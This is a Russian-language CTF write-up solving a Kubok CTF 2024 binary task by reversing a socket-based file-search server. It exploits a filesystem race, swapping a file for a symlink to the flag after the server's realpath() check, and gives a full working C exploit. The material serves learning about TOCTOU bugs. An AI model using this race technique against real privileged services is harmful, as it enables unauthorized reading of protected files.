Filesystem race condition. Незапланированное решение задачи на Кубке CTF 2024
В статье рассмотрим нестандартное решение задания на бинарную эксплуатацию — »R4v5h4n N Dj4m5hu7» и обойдем проверку реального пути к файлу
Задание распространяется в виде докера с 2 исполняемыми файлами и 2 конфигурационными файлами для серверной части
client, server — бинарные файлы. Клиентская и серверная часть
flag_file_path — файл с путем до флага
server.cfg — файл с блокируемым путем. (об этом дальше)
Содержимое Dockerfile:
Содержимое entrypoint.sh:
Посмотрим на серверную часть. Откроем файл в IDA Pro и перейдем в декомпилированный вид. Приложение открывает сокет /home/task/log_socket
И ждет подключения, после чего создает форк самого себя и запускает обработчик сообщений
Переключимся на клиентскую часть
Клиент подключается к сокету и ожидает ввода 2 строк — пути до файла и подстроки в этом файле. В общем, своеобразный grep для удаленной системы
Вернемся к серверной части и обработчику сообщений
Здесь приложение вызывает функцию load config
И ожидает две строки от клиента — путь и подстроку.
Затем проверяет, является ли файл разрешенным и запускает обработчик файла или директории в зависимости от переданного пути
Посмотрим на функцию load_config (). Здесь приложение читает файл с путем до флага и сохраняет его в переменную flag_path, затем читает конфиг с блокируемыми файлами
И добавляет все файлы, которые лежат в директории /proc/self (содержимое файла server.cfg) в черный список
Заметим, что файл /home/task/flag не добавлен в черный список и перейдем к функции process_file. Здесь видим, что переданный в функцию путь преобразуется к реальному, т.е. разрешаются все ссылки и конструкции вида »…\» и ».\» и затем происходит проверка на соответствие реального пути файлу с флагом. Если путь указывает на флаг, получаем ошибку.
Казалось бы, доступ к флагу просто чтением файла не получить, но можно провернуть трюк с гонкой.
Предположение следующее:
Если передать легитимный файл в директории, в которой решающий может создать файл (например, файл /home/ssh_user/test) и подменить его сразу после проверки реального пути, то получится прочитать флаг по ссылке.
Напишем собственный клиент.
Определим несколько дефайнов для удобства
#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"
Реализуем функцию отправки строки в сокет
unsigned long long send_string(char *sendstr, int socket_fd) {
char input_buf[4096] = {0};
int msg_len;
char *newline = strchr(sendstr, '\n');
if (newline) {
*newline = '\0';
}
msg_len = strlen(sendstr) + 1;
int ret = send(socket_fd, &msg_len, sizeof(int), 0);
check_err(ret, "Connection closed");
ret = send(socket_fd, sendstr, msg_len, 0);
check_err(ret, "Connection closed");
return 0;
}
Функция создания легитимного файла
void create_file(const char *path) {
int fd = open(path, O_CREAT | O_WRONLY, 0644);
if (fd == -1) {
perror("Error creating file");
exit(EXIT_FAILURE);
}
write(fd, "This is a test file.\n", 21);
close(fd);
}
Создаем файл
create_file(TEST_FILE_PATH);
Подключаемся к сокету и отправляем входные данные:
int sockfd = connect_socket(SOCKET_PATH);
char first[] = "/home/ssh_user/test";
char second[] = "{";
int ret = send_string(first,sockfd);
check_err(ret, "Failed to send '/home/ssh_user/test'");
ret = send_string(second,sockfd);
check_err(ret, "Failed to send '{'");
Затем необходимо в цикле реализовать схему:
1. Удаление файлов — легитимного и ссылки на флаг
2. Создание файла /home/ssh_user/test
3. Создание ссылки на /home/task/flag
4. Замена легитимного файла на ссылку
Цикл:
for(int j = 0; j < 50; j++){
remove(TEST_FILE_PATH);
remove(SYMBOLIC_LINK_PATH);
create_file(TEST_FILE_PATH);
if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
close(sockfd);
perror("Failed to create symbolic link");
exit(EXIT_FAILURE);
}
if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
close(sockfd);
exit(EXIT_FAILURE);
}}
Очевидно, что не обязательно наша идея сработает с первого раза, поэтому оборачиваем все в цикл на 50 итераций и получаем готовый эксплоит:
Эксплоит
#include
#include
#include
#include
#include
#include
#include
#include
#define TEST_FILE_PATH "/home/ssh_user/test"
#define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa"
#define FLAG_FILE_PATH "/home/task/flag"
#define SOCKET_PATH "/home/task/log_socket"
void check_err(int ret_val, const char *error_msg) {
if (ret_val == -1) {
perror(error_msg);
exit(EXIT_FAILURE);
}
}
void create_file(const char *path) {
int fd = open(path, O_CREAT | O_WRONLY, 0644);
if (fd == -1) {
perror("Error creating file");
exit(EXIT_FAILURE);
}
write(fd, "This is a test file.\n", 21);
close(fd);
}
int connect_socket(const char *socket_path) {
int sockfd;
struct sockaddr_un addr;
sockfd = socket(AF_UNIX, SOCK_STREAM, 0);
check_err(sockfd, "Socket creation failed");
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);
if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) == -1) {
perror("Socket connection failed");
close(sockfd);
exit(EXIT_FAILURE);
}
return sockfd;
}
unsigned long long send_string(char *sendstr, int socket_fd) {
char input_buf[4096] = {0};
int msg_len;
char *newline = strchr(sendstr, '\n');
if (newline) {
*newline = '\0';
}
msg_len = strlen(sendstr) + 1;
int ret = send(socket_fd, &msg_len, sizeof(int), 0);
check_err(ret, "Connection closed");
ret = send(socket_fd, sendstr, msg_len, 0);
check_err(ret, "Connection closed");
return 0;
}
int main(int argc, char * argv[]) {
for (int i = 0; i < 50; i++) {
remove(TEST_FILE_PATH);
remove(SYMBOLIC_LINK_PATH);
create_file(TEST_FILE_PATH);
int sockfd = connect_socket(SOCKET_PATH);
char first[] = "/home/ssh_user/test";
char second[] = "{";
int ret = send_string(first,sockfd);
check_err(ret, "Failed to send '/home/ssh_user/test'");
ret = send_string(second,sockfd);
check_err(ret, "Failed to send '{'");
for(int j = 0; j < 50; j++){
remove(TEST_FILE_PATH);
remove(SYMBOLIC_LINK_PATH);
create_file(TEST_FILE_PATH);
if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {
perror("Failed to create symbolic link");
exit(EXIT_FAILURE);
}
if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {
perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");
close(sockfd);
exit(EXIT_FAILURE);
}
}
sleep(atoi(argv[1]));
close(sockfd);
}
printf("Operation completed successfully.\n");
return 0;
}
Компилируем
gcc -o new_client new_client.c
Прокидываем на сервер и тестируем (флаг заменен на тестовый)
Запускаем сервер
Запускаем клиент
И получаем результат на одной из попыток
В результате мы обошли проверку реального пути с помощью функции realpath.
К слову, такая уязвимость является довольно серьезной и может приводить к опасным событиям. Например, к загрузке вредоносных модулей после проверки их легитимности. Единственное условие — возможность записи в директорию.
P.S.
Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке